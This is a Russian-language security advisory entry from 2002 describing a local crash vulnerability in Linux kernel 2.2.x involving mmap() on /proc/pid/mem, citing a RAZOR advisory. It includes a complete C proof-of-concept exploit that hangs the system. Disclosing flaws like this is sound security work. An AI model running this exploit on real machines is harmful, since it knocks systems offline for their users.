| Дата публикации: | 20.12.2002 |
| Всего просмотров: | 1652 |
| Опасность: | |
| Наличие исправления: | |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | |
| Воздействие: | |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | |
| Описание: | Локальная системная уязвимость аварийного отказа присутствует в Linux ядре 2.2.x. Система, вероятно, зависнет и потребуется ручная перезагрузка. Интерфейс /proc/pid/mem предназначен, чтобы разрешить одному приложению, при некоторых условиях, обратиться к памяти другого приложения. Эта особенность очень полезна для разработчиков или администраторов, которые желают отладить или анализировать программы, выполняющиеся на их системе. Один из способов обратится к памяти непосредственно, использовать mmap(). Уязвимость обнаружена в способе, которым этот процесс подтверждает правильность. Уязвимость позволяет пользователю, используя mmap() интерфейс, чтобы обратиться к страницам памяти, которые нечитаемы прослеживаемым процессом. Пользователь может передать параметр PROT_READ для этого запроса, чтобы запросить доступ для чтения к этому отображению. Из-за недостаточной проверки правильности, он получит такой доступ. Это приведет к краху системы. Эксплоит:
#define PAGES 10
#include <asm/page.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ptrace.h>
int main() {
int ad1,ad2,zer,mem,pid,i;
zer=open("/dev/zero",O_RDONLY);
ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
pid=getpid();
if (!fork()) {
char p[64];
ptrace(PTRACE_ATTACH,pid,0,0);
sleep(1);
sprintf(p,"/proc/%d/mem",pid);
mem=open(p,O_RDONLY);
ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
write(1,(char*)ad2,PAGES*PAGE_SIZE);
}
sleep(100);
return 0;
}
Уязвимость обнаружена в LiNUX Kernel 2.2.x
|
| Ссылки: | RAZOR advisory: Linux kernel 2.2.x /proc/pid/mem mmap() vulnerability |